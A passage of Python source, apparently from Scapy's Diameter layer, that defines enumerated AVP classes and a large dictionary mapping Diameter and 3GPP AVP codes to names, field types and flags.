Enumerated('val', None, {0: "AN_GW_FAILED", })] class AVP_10415_2904 (AVP_FL_V): name = 'SL-Request-Type' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "INITIAL_REQUEST", 1: "INTERMEDIATE_REQUEST", })] # noqa: E501 class AVP_10415_3407 (AVP_FL_V): name = 'SM-Device-Trigger-Indicator' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "Not DeviceTrigger ", 1: "Device Trigger", })] # noqa: E501 class AVP_10415_3415 (AVP_FL_V): name = 'Forwarding-Pending' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "Forwarding not pending", 1: "Forwarding pending", })] # noqa: E501 class AVP_10415_3421 (AVP_FL_V): name = 'CN-Operator-Selection-Entity' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated( 'val', None, { 0: "The Serving Network has been selected by the UE", 1: "The Serving Network has been selected by the network", })] class AVP_10415_3428 (AVP_FL_V): name = 'Coverage-Status' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "Out of coverage", 1: "In coverage", })] # noqa: E501 class AVP_10415_3438 (AVP_FL_V): name = 'Role-Of-ProSe-Function' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "HPLMN", 1: "VPLMN", })] class AVP_10415_3442 (AVP_FL_V): name = 'ProSe-Direct-Discovery-Model' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "Model A", 1: "Model B", })] class AVP_10415_3443 (AVP_FL_V): name = 'ProSe-Event-Type' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "Announcing", 1: "Monitoring", 2: "Match Report", })] # noqa: E501 class AVP_10415_3445 (AVP_FL_V): name = 'ProSe-Functionality' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "Direct discovery", 1: "EPC-level discovery", })] # noqa: E501 class AVP_10415_3448 (AVP_FL_V): name = 'ProSe-Range-Class' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "Reserved", 1: "50 m", 2: "100 m", 3: "200 m", 4: "500 m", 5: "1000 m", })] # noqa: E501 class AVP_10415_3449 (AVP_FL_V): name = 'ProSe-Reason-For-Cancellation' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, { 0: "Proximity Alert sent", 1: "Time expired with no renewal", })] class AVP_10415_3451 (AVP_FL_V): name = 'ProSe-Role-Of-UE' avpLen = 16 fields_desc = [AVP_FL_V, Enumerated('val', None, {0: "Announcing UE", 1: "Monitoring UE", 2: "Requestor UE", })] # noqa: E501 class AVP_10415_3454 (AVP_FL_V): name = 'Proximity-Alert-Indication' avpLen = 16 fields_desc = [ AVP_FL_V, Enumerated('val', None, {0: "Alert", 1: "No Alert", })] # Remaining AVPs (which do not need to be declared as classes) ############################################################## # In AvpDefDict dictionary, the first level key is the 'AVP vendor' and the second level key is the 'AVP code' # noqa: E501 # Each tuple then defines the AVP name, the Scapy class and the default flags AvpDefDict = { 0: { 1: ('User-Name', AVPNV_StrLenField, 64), 2: ('User-Password', AVPNV_OctetString, 64), 5: ('NAS-Port', AVPNV_Unsigned32, 64), 6: ('Service-Type', AVP_0_6, 64), 7: ('Framed-Protocol', AVP_0_7, 64), 9: ('Framed-IP-Netmask', AVPNV_OctetString, 64), 10: ('Framed-Routing', AVP_0_10, 64), 11: ('Filter-Id', AVPNV_StrLenField, 64), 12: ('Framed-MTU', AVPNV_Unsigned32, 64), 13: ('Framed-Compression', AVP_0_13, 64), 15: ('Login-Service', AVP_0_15, 64), 16: ('Login-TCP-Port', AVPNV_Unsigned32, 64), 18: ('Reply-Message', AVPNV_StrLenField, 64), 19: ('Callback-Number', AVPNV_StrLenField, 64), 20: ('Callback-Id', AVPNV_StrLenField, 64), 22: ('Framed-Route', AVPNV_StrLenField, 64), 23: ('Framed-IPX-Network', AVPNV_Unsigned32, 64), 25: ('Class', AVPNV_OctetString, 64), 27: ('Session-Timeout', AVPNV_Unsigned32, 64), 28: ('Idle-Timeout', AVPNV_Unsigned32, 64), 30: ('Called-Station-Id', AVPNV_StrLenField, 64), 31: ('Calling-Station-Id', AVPNV_StrLenField, 64), 33: ('Proxy-State', AVPNV_OctetString, 64), 34: ('Login-LAT-Service', AVPNV_OctetString, 64), 35: ('Login-LAT-Node', AVPNV_OctetString, 64), 36: ('Login-LAT-Group', AVPNV_OctetString, 64), 37: ('Framed-Appletalk-Link', AVPNV_Unsigned32, 64), 38: ('Framed-Appletalk-Network', AVPNV_Unsigned32, 64), 39: ('Framed-Appletalk-Zone', AVPNV_OctetString, 64), 41: ('Acct-Delay-Time', AVPNV_Unsigned32, 64), 44: ('Acct-Session-Id', AVPNV_OctetString, 64), 45: ('Acct-Authentic', AVP_0_45, 64), 46: ('Acct-Session-Time', AVPNV_Unsigned32, 64), 50: ('Acct-Multi-Session-Id', AVPNV_StrLenField, 64), 51: ('Acct-Link-Count', AVPNV_Unsigned32, 64), 55: ('Event-Timestamp', AVPNV_Time, 64), 60: ('CHAP-Challenge', AVPNV_OctetString, 64), 61: ('NAS-Port-Type', AVP_0_61, 64), 62: ('Port-Limit', AVPNV_Unsigned32, 64), 63: ('Login-LAT-Port', AVPNV_OctetString, 64), 64: ('Tunnel-Type', AVP_0_64, 64), 65: ('Tunnel-Medium-Type', AVP_0_65, 64), 66: ('Tunnel-Client-Endpoint', AVPNV_StrLenField, 64), 67: ('Tunnel-Server-Endpoint', AVPNV_StrLenField, 64), 68: ('Acct-Tunnel-Connection', AVPNV_OctetString, 64), 69: ('Tunnel-Password', AVPNV_OctetString, 64), 70: ('ARAP-Password', AVPNV_OctetString, 64), 71: ('ARAP-Features', AVPNV_OctetString, 64), 72: ('ARAP-Zone-Access', AVP_0_72, 64), 73: ('ARAP-Security', AVPNV_Unsigned32, 64), 74: ('ARAP-Security-Data', AVPNV_OctetString, 64), 75: ('Password-Retry', AVPNV_Unsigned32, 64), 76: ('Prompt', AVP_0_76, 64), 77: ('Connect-Info', AVPNV_StrLenField, 64), 78: ('Configuration-Token', AVPNV_OctetString, 64), 81: ('Tunnel-Private-Group-Id', AVPNV_OctetString, 64), 82: ('Tunnel-Assignment-Id', AVPNV_OctetString, 64), 83: ('Tunnel-Preference', AVPNV_Unsigned32, 64), 84: ('ARAP-Challenge-Response', AVPNV_OctetString, 64), 85: ('Acct-Interim-Interval', AVPNV_Unsigned32, 64), 86: ('Acct-Tunnel-Packets-Lost', AVPNV_Unsigned32, 64), 87: ('NAS-Port-Id', AVPNV_StrLenField, 64), 88: ('Framed-Pool', AVPNV_OctetString, 64), 89: ('Chargeable-User-Identity', AVPNV_OctetString, 64), 90: ('Tunnel-Client-Auth-Id', AVPNV_StrLenField, 64), 91: ('Tunnel-Server-Auth-Id', AVPNV_StrLenField, 64), 94: ('Originating-Line-Info', AVPNV_OctetString, 64), 96: ('Framed-Interface-Id', AVPNV_Unsigned64, 64), 97: ('Framed-IPv6-Prefix', AVPNV_OctetString, 64), 99: ('Framed-IPv6-Route', AVPNV_StrLenField, 64), 100: ('Framed-IPv6-Pool', AVPNV_OctetString, 64), 102: ('EAP-Key-Name', AVPNV_OctetString, 64), 104: ('Digest-Realm', AVPNV_StrLenField, 64), 110: ('Digest-Qop', AVPNV_StrLenField, 64), 111: ('Digest-Algorithm', AVPNV_StrLenField, 64), 121: ('Digest-HA1', AVPNV_OctetString, 64), 124: ('MIP6-Feature-Vector', AVPNV_Unsigned64, 64), 125: ('MIP6-Home-Link-Prefix', AVPNV_OctetString, 64), 257: ('Host-IP-Address', AVPNV_Address, 64), 258: ('Auth-Application-Id', AVP_0_258, 64), 259: ('Acct-Application-Id', AVPNV_Unsigned32, 64), 260: ('Vendor-Specific-Application-Id', AVPNV_Grouped, 64), 261: ('Redirect-Host-Usage', AVP_0_261, 64), 262: ('Redirect-Max-Cache-Time', AVPNV_Unsigned32, 64), 263: ('Session-Id', AVPNV_StrLenField, 64), 264: ('Origin-Host', AVPNV_StrLenField, 64), 265: ('Supported-Vendor-Id', AVPNV_Unsigned32, 64), 266: ('Vendor-Id', AVP_0_266, 64), 267: ('Firmware-Revision', AVPNV_Unsigned32, 0), 268: ('Result-Code', AVP_0_268, 64), 269: ('Product-Name', AVPNV_StrLenField, 0), 270: ('Session-Binding', AVPNV_Unsigned32, 64), 271: ('Session-Server-Failover', AVP_0_271, 64), 272: ('Multi-Round-Time-Out', AVPNV_Unsigned32, 64), 273: ('Disconnect-Cause', AVP_0_273, 64), 274: ('Auth-Request-Type', AVP_0_274, 64), 276: ('Auth-Grace-Period', AVPNV_Unsigned32, 64), 277: ('Auth-Session-State', AVP_0_277, 64), 278: ('Origin-State-Id', AVPNV_Unsigned32, 64), 279: ('Failed-AVP', AVPNV_Grouped, 64), 280: ('Proxy-Host', AVPNV_StrLenField, 64), 281: ('Error-Message', AVPNV_StrLenField, 0), 282: ('Route-Record', AVPNV_StrLenField, 64), 283: ('Destination-Realm', AVPNV_StrLenField, 64), 284: ('Proxy-Info', AVPNV_Grouped, 64), 285: ('Re-Auth-Request-Type', AVP_0_285, 64), 287: ('Accounting-Sub-Session-Id', AVPNV_Unsigned64, 64), 291: ('Authorization-Lifetime', AVPNV_Unsigned32, 64), 292: ('Redirect-Host', AVPNV_StrLenField, 64), 293: ('Destination-Host', AVPNV_StrLenField, 64), 294: ('Error-Reporting-Host', AVPNV_StrLenField, 0), 295: ('Termination-Cause', AVP_0_295, 64), 296: ('Origin-Realm', AVPNV_StrLenField, 64), 297: ('Experimental-Result', AVPNV_Grouped, 64), 298: ('Experimental-Result-Code', AVP_0_298, 64), 299: ('Inband-Security-Id', AVPNV_Unsigned32, 64), 318: ('MIP-FA-to-HA-SPI', AVPNV_Unsigned32, 64), 319: ('MIP-FA-to-MN-SPI', AVPNV_Unsigned32, 64), 320: ('MIP-Reg-Request', AVPNV_OctetString, 64), 321: ('MIP-Reg-Reply', AVPNV_OctetString, 64), 322: ('MIP-MN-AAA-Auth', AVPNV_Grouped, 64), 323: ('MIP-HA-to-FA-SPI', AVPNV_Unsigned32, 64), 325: ('MIP-MN-to-FA-MSA', AVPNV_Grouped, 64), 326: ('MIP-FA-to-MN-MSA', AVPNV_Grouped, 64), 328: ('MIP-FA-to-HA-MSA', AVPNV_Grouped, 64), 329: ('MIP-HA-to-FA-MSA', AVPNV_Grouped, 64), 331: ('MIP-MN-to-HA-MSA', AVPNV_Grouped, 64), 332: ('MIP-HA-to-MN-MSA', AVPNV_Grouped, 64), 333: ('MIP-Mobile-Node-Address', AVPNV_Address, 64), 334: ('MIP-Home-Agent-Address', AVPNV_Address, 64), 335: ('MIP-Nonce', AVPNV_OctetString, 64), 336: ('MIP-Candidate-Home-Agent-Host', AVPNV_StrLenField, 64), 337: ('MIP-Feature-Vector', AVPNV_Unsigned32, 64), 338: ('MIP-Auth-Input-Data-Length', AVPNV_Unsigned32, 64), 339: ('MIP-Authenticator-Length', AVPNV_Unsigned32, 64), 340: ('MIP-Authenticator-Offset', AVPNV_Unsigned32, 64), 341: ('MIP-MN-AAA-SPI', AVPNV_Unsigned32, 64), 342: ('MIP-Filter-Rule', AVPNV_IPFilterRule, 64), 343: ('MIP-Session-Key', AVPNV_OctetString, 64), 344: ('MIP-FA-Challenge', AVPNV_OctetString, 64), 345: ('MIP-Algorithm-Type', AVP_0_345, 64), 346: ('MIP-Replay-Mode', AVP_0_346, 64), 347: ('MIP-Originating-Foreign-AAA', AVPNV_Grouped, 64), 348: ('MIP-Home-Agent-Host', AVPNV_StrLenField, 64), 363: ('Accounting-Input-Octets', AVPNV_Unsigned64, 64), 364: ('Accounting-Output-Octets', AVPNV_Unsigned64, 64), 365: ('Accounting-Input-Packets', AVPNV_Unsigned64, 64), 366: ('Accounting-Output-Packets', AVPNV_Unsigned64, 64), 367: ('MIP-MSA-Lifetime', AVPNV_Unsigned32, 64), 368: ('SIP-Accounting-Information', AVPNV_Grouped, 64), 369: ('SIP-Accounting-Server-URI', AVPNV_StrLenField, 64), 370: ('SIP-Credit-Control-Server-URI', AVPNV_StrLenField, 64), 371: ('SIP-Server-URI', AVPNV_StrLenField, 64), 372: ('SIP-Server-Capabilities', AVPNV_Grouped, 64), 373: ('SIP-Mandatory-Capability', AVPNV_Unsigned32, 64), 374: ('SIP-Optional-Capability', AVPNV_Unsigned32, 64), 375: ('SIP-Server-Assignment-Type', AVP_0_375, 64), 376: ('SIP-Auth-Data-Item', AVPNV_Grouped, 64), 377: ('SIP-Authentication-Scheme', AVP_0_377, 64), 378: ('SIP-Item-Number', AVPNV_Unsigned32, 64), 379: ('SIP-Authenticate', AVPNV_Grouped, 64), 380: ('SIP-Authorization', AVPNV_Grouped, 64), 381: ('SIP-Authentication-Info', AVPNV_Grouped, 64), 382: ('SIP-Number-Auth-Items', AVPNV_Unsigned32, 64), 383: ('SIP-Deregistration-Reason', AVPNV_Grouped, 64), 384: ('SIP-Reason-Code', AVP_0_384, 64), 385: ('SIP-Reason-Info', AVPNV_StrLenField, 64), 386: ('SIP-Visited-Network-Id', AVPNV_StrLenField, 64), 387: ('SIP-User-Authorization-Type', AVP_0_387, 64), 388: ('SIP-Supported-User-Data-Type', AVPNV_StrLenField, 64), 389: ('SIP-User-Data', AVPNV_Grouped, 64), 390: ('SIP-User-Data-Type', AVPNV_StrLenField, 64), 391: ('SIP-User-Data-Contents', AVPNV_OctetString, 64), 392: ('SIP-User-Data-Already-Available', AVP_0_392, 64), 393: ('SIP-Method', AVPNV_StrLenField, 64), 400: ('NAS-Filter-Rule', AVPNV_IPFilterRule, 64), 401: ('Tunneling', AVPNV_Grouped, 64), 402: ('CHAP-Auth', AVPNV_Grouped, 64), 403: ('CHAP-Algorithm', AVP_0_403, 64), 404: ('CHAP-Ident', AVPNV_OctetString, 64), 405: ('CHAP-Response', AVPNV_OctetString, 64), 406: ('Accounting-Auth-Method', AVP_0_406, 64), 407: ('QoS-Filter-Rule', AVPNV_QoSFilterRule, 64), 411: ('CC-Correlation-Id', AVPNV_OctetString, 0), 412: ('CC-Input-Octets', AVPNV_Unsigned64, 64), 413: ('CC-Money', AVPNV_Grouped, 64), 414: ('CC-Output-Octets', AVPNV_Unsigned64, 64), 415: ('CC-Request-Number', AVPNV_Unsigned32, 64), 416: ('CC-Request-Type', AVP_0_416, 64), 417: ('CC-Service-Specific-Units', AVPNV_Unsigned64, 64), 418: ('CC-Session-Failover', AVP_0_418, 64), 419: ('CC-Sub-Session-Id', AVPNV_Unsigned64, 64), 420: ('CC-Time', AVPNV_Unsigned32, 64), 421: ('CC-Total-Octets', AVPNV_Unsigned64, 64), 422: ('Check-Balance-Result', AVP_0_422, 64), 423: ('Cost-Information', AVPNV_Grouped, 64), 424: ('Cost-Unit', AVPNV_StrLenField, 64), 425: ('Currency-Code', AVPNV_Unsigned32, 64), 426: ('Credit-Control', AVP_0_426, 64), 427: ('Credit-Control-Failure-Handling', AVP_0_427, 64), 428: ('Direct-Debiting-Failure-Handling', AVP_0_428, 64), 429: ('Exponent', AVPNV_Integer32, 64), 430: ('Final-Unit-Indication', AVPNV_Grouped, 64), 431: ('Granted-Service-Unit', AVPNV_Grouped, 64), 432: ('Rating-Group', AVPNV_Unsigned32, 64), 433: ('Redirect-Address-Type', AVP_0_433, 64), 434: ('Redirect-Server', AVPNV_Grouped, 64), 435: ('Redirect-Server-Address', AVPNV_StrLenField, 64), 436: ('Requested-Action', AVP_0_436, 64), 437: ('Requested-Service-Unit', AVPNV_Grouped, 64), 438: ('Restriction-Filter-Rule', AVPNV_IPFilterRule, 64), 439: ('Service-Identifier', AVPNV_Unsigned32, 64), 440: ('Service-Parameter-Info', AVPNV_Grouped, 0), 441: ('Service-Parameter-Type', AVPNV_Unsigned32, 0), 442: ('Service-Parameter-Value', AVPNV_OctetString, 0), 443: ('Subscription-Id', AVPNV_Grouped, 64), 444: ('Subscription-Id-Data', AVPNV_StrLenField, 64), 445: ('Unit-Value', AVPNV_Grouped, 64), 446: ('Used-Service-Unit', AVPNV_Grouped, 64), 447: ('Value-Digits', AVPNV_Integer64, 64), 448: ('Validity-Time', AVPNV_Unsigned32, 64), 449: ('Final-Unit-Action', AVP_0_449, 64), 450: ('Subscription-Id-Type', AVP_0_450, 64), 451: ('Tariff-Time-Change', AVPNV_Time, 64), 452: ('Tariff-Change-Usage', AVP_0_452, 64), 453: ('G-S-U-Pool-Identifier', AVPNV_Unsigned32, 64), 454: ('CC-Unit-Type', AVP_0_454, 64), 455: ('Multiple-Services-Indicator', AVP_0_455, 64), 456: ('Multiple-Services-Credit-Control', AVPNV_Grouped, 64), 457: ('G-S-U-Pool-Reference', AVPNV_Grouped, 64), 458: ('User-Equipment-Info', AVPNV_Grouped, 0), 459: ('User-Equipment-Info-Type', AVP_0_459, 0), 460: ('User-Equipment-Info-Value', AVPNV_OctetString, 0), 461: ('Service-Context-Id', AVPNV_StrLenField, 64), 462: ('EAP-Payload', AVPNV_OctetString, 64), 463: ('EAP-Reissued-Payload', AVPNV_OctetString, 64), 464: ('EAP-Master-Session-Key', AVPNV_OctetString, 64), 465: ('Accounting-EAP-Auth-Method', AVPNV_Unsigned64, 64), 480: ('Accounting-Record-Type', AVP_0_480, 64), 483: ('Accounting-Realtime-Required', AVP_0_483, 64), 485: ('Accounting-Record-Number', AVPNV_Unsigned32, 64), 486: ('MIP6-Agent-Info', AVPNV_Grouped, 64), 487: ('MIP-Careof-Address', AVPNV_Address, 64), 488: ('MIP-Authenticator', AVPNV_OctetString, 64), 489: ('MIP-MAC-Mobility-Data', AVPNV_OctetString, 64), 490: ('MIP-Timestamp', AVPNV_OctetString, 64), 491: ('MIP-MN-HA-SPI', AVPNV_Unsigned32, 64), 492: ('MIP-MN-HA-MSA', AVPNV_Grouped, 64), 493: ('Service-Selection', AVPNV_StrLenField, 64), 494: ('MIP6-Auth-Mode', AVP_0_494, 64), 506: ('Mobile-Node-Identifier', AVPNV_StrLenField, 64), 508: ('QoS-Resources', AVPNV_Grouped, 64), 509: ('Filter-Rule', AVPNV_Grouped, 64), 510: ('Filter-Rule-Precedence', AVPNV_Unsigned32, 64), 511: ('Classifier', AVPNV_Grouped, 64), 512: ('Classifier-ID', AVPNV_OctetString, 64), 513: ('Protocol', AVP_0_513, 64), 514: ('Direction', AVP_0_514, 64), 515: ('From-Spec', AVPNV_Grouped, 64), 516: ('To-Spec', AVPNV_Grouped, 64), 517: ('Negated', AVP_0_517, 64), 518: ('IP-Address', AVPNV_Address, 64), 519: ('IP-Address-Range', AVPNV_Grouped, 64), 520: ('IP-Address-Start', AVPNV_Address, 64), 521: ('IP-Address-End', AVPNV_Address, 64), 522: ('IP-Address-Mask', AVPNV_Grouped, 64), 523: ('IP-Mask-Bit-Mask-Width', AVPNV_Unsigned32, 64), 524: ('MAC-Address', AVPNV_OctetString, 64), 525: ('MAC-Address-Mask', AVPNV_Grouped, 64), 526: ('MAC-Address-Mask-Pattern', AVPNV_OctetString, 64), 527: ('EUI64-Address', AVPNV_OctetString, 64), 528: ('EUI64-Address-Mask', AVPNV_Grouped, 64), 529: ('EUI64-Address-Mask-Pattern', AVPNV_OctetString, 64), 530: ('Port', AVPNV_Integer32, 64), 531: ('Port-Range', AVPNV_Grouped, 64), 532: ('Port-Start', AVPNV_Integer32, 64), 533: ('Port-End', AVPNV_Integer32, 64), 534: ('Use-Assigned-Address', AVP_0_534, 64), 535: ('Diffserv-Code-Point', AVP_0_535, 64), 536: ('Fragmentation-Flag', AVP_0_536, 64), 537: ('IP-Option', AVPNV_Grouped, 64), 538: ('IP-Option-Type', AVP_0_538, 64), 539: ('IP-Option-Value', AVPNV_OctetString, 64), 540: ('TCP-Option', AVPNV_Grouped, 64), 541: ('TCP-Option-Type', AVP_0_541, 64), 542: ('TCP-Option-Value', AVPNV_OctetString, 64), 543: ('TCP-Flags', AVPNV_Grouped, 64), 544: ('TCP-Flag-Type', AVPNV_Unsigned32, 64), 545: ('ICMP-Type', AVPNV_Grouped, 64), 546: ('ICMP-Type-Number', AVP_0_546, 64), 547: ('ICMP-Code', AVP_0_547, 64), 548: ('ETH-Option', AVPNV_Grouped, 64), 549: ('ETH-Proto-Type', AVPNV_Grouped, 64), 550: ('ETH-Ether-Type', AVPNV_OctetString, 64), 551: ('ETH-SAP', AVPNV_OctetString, 64), 552: ('VLAN-ID-Range', AVPNV_Grouped, 64), 553: ('S-VID-Start', AVPNV_Unsigned32, 64), 554: ('S-VID-End', AVPNV_Unsigned32, 64), 555: ('C-VID-Start', AVPNV_Unsigned32, 64), 556: ('C-VID-End', AVPNV_Unsigned32, 64), 557: ('User-Priority-Range', AVPNV_Grouped, 64), 558: ('Low-User-Priority', AVPNV_Unsigned32, 64), 559: ('High-User-Priority', AVPNV_Unsigned32, 64), 560: ('Time-Of-Day-Condition', AVPNV_Grouped, 64), 561: ('Time-Of-Day-Start', AVPNV_Unsigned32, 64), 562: ('Time-Of-Day-End', AVPNV_Unsigned32, 64), 563: ('Day-Of-Week-Mask', AVPNV_Unsigned32, 64), 564: ('Day-Of-Month-Mask', AVPNV_Unsigned32, 64), 565: ('Month-Of-Year-Mask', AVPNV_Unsigned32, 64), 566: ('Absolute-Start-Time', AVPNV_Time, 64), 567: ('Absolute-Start-Fractional-Seconds', AVPNV_Unsigned32, 64), 568: ('Absolute-End-Time', AVPNV_Time, 64), 569: ('Absolute-End-Fractional-Seconds', AVPNV_Unsigned32, 64), 570: ('Timezone-Flag', AVP_0_570, 64), 571: ('Timezone-Offset', AVPNV_Integer32, 64), 572: ('Treatment-Action', AVPNV_Grouped, 64), 573: ('QoS-Profile-Id', AVPNV_Unsigned32, 64), 574: ('QoS-Profile-Template', AVPNV_Grouped, 64), 575: ('QoS-Semantics', AVP_0_575, 64), 576: ('QoS-Parameters', AVPNV_Grouped, 64), 577: ('Excess-Treatment', AVPNV_Grouped, 64), 578: ('QoS-Capability', AVPNV_Grouped, 64), 618: ('ERP-RK-Request', AVPNV_Grouped, 64), 619: ('ERP-Realm', AVPNV_StrLenField, 64), }, 10415: { 13: ('3GPP-Charging-Characteristics', AVPV_StrLenField, 192), 318: ('3GPP-AAA-Server-Name', AVPV_StrLenField, 192), 500: ('Abort-Cause', AVP_10415_500, 192), 501: ('Access-Network-Charging-Address', AVPV_Address, 192), 502: ('Access-Network-Charging-Identifier', AVPV_Grouped, 192), 503: ('Access-Network-Charging-Identifier-Value', AVPV_OctetString, 192), # noqa: E501 504: ('AF-Application-Identifier', AVPV_OctetString, 192), 505: ('AF-Charging-Identifier', AVPV_OctetString, 192), 506: ('Authorization-Token', AVPV_OctetString, 192), 507: ('Flow-Description', AVPV_IPFilterRule, 192), 508: ('Flow-Grouping', AVPV_Grouped, 192), 509: ('Flow-Number', AVPV_Unsigned32, 192), 510: ('Flows', AVPV_Grouped, 192), 511: ('Flow-Status', AVP_10415_511, 192), 512: ('Flow-Usage', AVP_10415_512, 192), 513: ('Specific-Action', AVP_10415_513, 192), 515: ('Max-Requested-Bandwidth-DL', AVPV_Unsigned32, 192), 516: ('Max-Requested-Bandwidth-UL', AVPV_Unsigned32, 192), 517: ('Media-Component-Description', AVPV_Grouped, 192), 518: ('Media-Component-Number', AVPV_Unsigned32, 192), 519: ('Media-Sub-Component', AVPV_Grouped, 192), 520: ('Media-Type', AVP_10415_520, 192), 521: ('RR-Bandwidth', AVPV_Unsigned32, 192), 522: ('RS-Bandwidth', AVPV_Unsigned32, 192), 523: ('SIP-Forking-Indication', AVP_10415_523, 192), 525: ('Service-URN', AVPV_OctetString, 192), 526: ('Acceptable-Service-Info', AVPV_Grouped, 192), 527: ('Service-Info-Status', AVP_10415_527, 192), 528: ('MPS-Identifier', AVPV_OctetString, 128), 529: ('AF-Signalling-Protocol', AVP_10415_529, 128), 531: ('Sponsor-Identity', AVPV_StrLenField, 128), 532: ('Application-Service-Provider-Identity', AVPV_StrLenField, 128), 533: ('Rx-Request-Type', AVP_10415_533, 128), 534: ('Min-Requested-Bandwidth-DL', AVPV_Unsigned32, 128), 535: ('Min-Requested-Bandwidth-UL', AVPV_Unsigned32, 128), 536: ('Required-Access-Info', AVP_10415_536, 128), 537: ('IP-Domain-Id', AVPV_OctetString, 128), 538: ('GCS-Identifier', AVPV_OctetString, 128), 539: ('Sharing-Key-DL', AVPV_Unsigned32, 128), 540: ('Sharing-Key-UL', AVPV_Unsigned32, 128), 541: ('Retry-Interval', AVPV_Unsigned32, 128), 600: ('Visited-Network-Identifier', AVPV_OctetString, 192), 601: ('Public-Identity', AVPV_StrLenField, 192), 602: ('Server-Name', AVPV_StrLenField, 192), 603: ('Server-Capabilities', AVPV_Grouped, 192), 604: ('Mandatory-Capability', AVPV_Unsigned32, 192), 605: ('Optional-Capability', AVPV_Unsigned32, 192), 606: ('User-Data', AVPV_OctetString, 192), 607: ('SIP-Number-Auth-Items', AVPV_Unsigned32, 192), 608: ('SIP-Authentication-Scheme', AVPV_StrLenField, 192), 609: ('SIP-Authenticate', AVPV_OctetString, 192), 610: ('SIP-Authorization', AVPV_OctetString, 192), 611: ('SIP-Authentication-Context', AVPV_OctetString, 192), 612: ('SIP-Auth-Data-Item', AVPV_Grouped, 192), 613: ('SIP-Item-Number', AVPV_Unsigned32, 192), 614: ('Server-Assignment-Type', AVP_10415_614, 192), 615: ('Deregistration-Reason', AVPV_Grouped, 192), 616: ('Reason-Code', AVP_10415_616, 192), 617: ('Reason-Info', AVPV_StrLenField, 192), 618: ('Charging-Information', AVPV_Grouped, 192), 619: ('Primary-Event-Charging-Function-Name', AVPV_StrLenField, 192), 620: ('Secondary-Event-Charging-Function-Name', AVPV_StrLenField, 192), 621: ('Primary-Charging-Collection-Function-Name', AVPV_StrLenField, 192), # noqa: E501 622: ('Secondary-Charging-Collection-Function-Name', AVPV_StrLenField, 192), # noqa: E501 623: ('User-Authorization-Type', AVP_10415_623, 192), 624: ('User-Data-Already-Available', AVP_10415_624, 192), 625: ('Confidentiality-Key', AVPV_OctetString, 192), 626: ('Integrity-Key', AVPV_OctetString, 192), 628: ('Supported-Features', AVPV_Grouped, 128), 629: ('Feature-List-ID', AVPV_Unsigned32, 128), 630: ('Feature-List', AVP_10415_630, 128), 631: ('Supported-Applications', AVPV_Grouped, 128), 632: ('Associated-Identities', AVPV_Grouped, 128), 633: ('Originating-Request', AVP_10415_633, 192), 634: ('Wildcarded-Public-Identity', AVPV_StrLenField, 128), 635: ('SIP-Digest-Authenticate', AVPV_Grouped, 128), 636: ('Wildcarded-IMPU', AVPV_StrLenField, 128), 637: ('UAR-Flags', AVPV_Unsigned32, 128), 638: ('Loose-Route-Indication', AVP_10415_638, 128), 639: ('SCSCF-Restoration-Info', AVPV_Grouped, 128), 640: ('Path', AVPV_OctetString, 128), 641: ('Contact', AVPV_OctetString, 128), 642: ('Subscription-Info', AVPV_Grouped, 128), 643: ('Call-ID-SIP-Header', AVPV_OctetString, 128), 644: ('From-SIP-Header', AVPV_OctetString, 128), 645: ('To-SIP-Header', AVPV_OctetString, 128), 646: ('Record-Route', AVPV_OctetString, 128), 647: ('Associated-Registered-Identities', AVPV_Grouped, 128), 648: ('Multiple-Registration-Indication', AVP_10415_648, 128), 649: ('Restoration-Info', AVPV_Grouped, 128), 650: ('Session-Priority', AVP_10415_650, 128), 651: ('Identity-with-Emergency-Registration', AVPV_Grouped, 128), 652: ('Priviledged-Sender-Indication', AVP_10415_652, 128), 653: ('LIA-Flags', AVPV_Unsigned32, 128), 654: ('Initial-CSeq-Sequence-Number', AVPV_Unsigned32, 128), 655: ('SAR-Flags', AVPV_Unsigned32, 128), 700: ('User-Identity', AVPV_Grouped, 192), 701: ('MSISDN', AVP_10415_701, 192), 702: ('User-Data', AVPV_OctetString, 192), 703: ('Data-Reference', AVP_10415_703, 192), 704: ('Service-Indication', AVPV_OctetString, 192), 705: ('Subs-Req-Type', AVP_10415_705, 192), 706: ('Requested-Domain', AVP_10415_706, 192), 707: ('Current-Location', AVP_10415_707, 192), 708: ('Identity-Set', AVP_10415_708, 128), 709: ('Expiry-Time', AVPV_Time, 128), 710: ('Send-Data-Indication', AVP_10415_710, 128), 711: ('DSAI-Tag', AVPV_OctetString, 192), 712: ('One-Time-Notification', AVP_10415_712, 128), 713: ('Requested-Nodes', AVPV_Unsigned32, 128), 714: ('Serving-Node-Indication', AVP_10415_714, 128), 715: ('Repository-Data-ID', AVPV_Grouped, 128), 716: ('Sequence-Number', AVPV_Unsigned32, 128), 717: ('Pre-paging-Supported', AVP_10415_717, 128), 718: ('Local-Time-Zone-Indication', AVP_10415_718, 128), 719: ('UDR-Flags', AVPV_Unsigned32, 128), 720: ('Call-Reference-Info', AVPV_Grouped, 128), 721: ('Call-Reference-Number', AVPV_OctetString, 128), 722: ('AS-Number', AVPV_OctetString, 128), 823: ('Event-Type', AVPV_Grouped, 192), 824: ('SIP-Method', AVPV_StrLenField, 192), 825: ('Event', AVPV_StrLenField, 192), 826: ('Content-Type', AVPV_StrLenField, 192), 827: ('Content-Length', AVPV_Unsigned32, 192), 828: ('Content-Disposition', AVPV_StrLenField, 192), 829: ('Role-Of-Node', AVP_10415_829, 192), 830: ('Session-Id', AVPV_StrLenField, 192), 831: ('Calling-Party-Address', AVPV_StrLenField, 192), 832: ('Called-Party-Address', AVPV_StrLenField, 192), 833: ('Time-Stamps', AVPV_Grouped, 192), 834: ('SIP-Request-Timestamp', AVPV_Time, 192), 835: ('SIP-Response-Timestamp', AVPV_Time, 192), 836: ('Application-Server', AVPV_StrLenField, 192), 837: ('Application-provided-called-party-address', AVPV_StrLenField, 192), # noqa: E501 838: ('Inter-Operator-Identifier', AVPV_Grouped, 192), 839: ('Originating-IOI', AVPV_StrLenField, 192), 840: 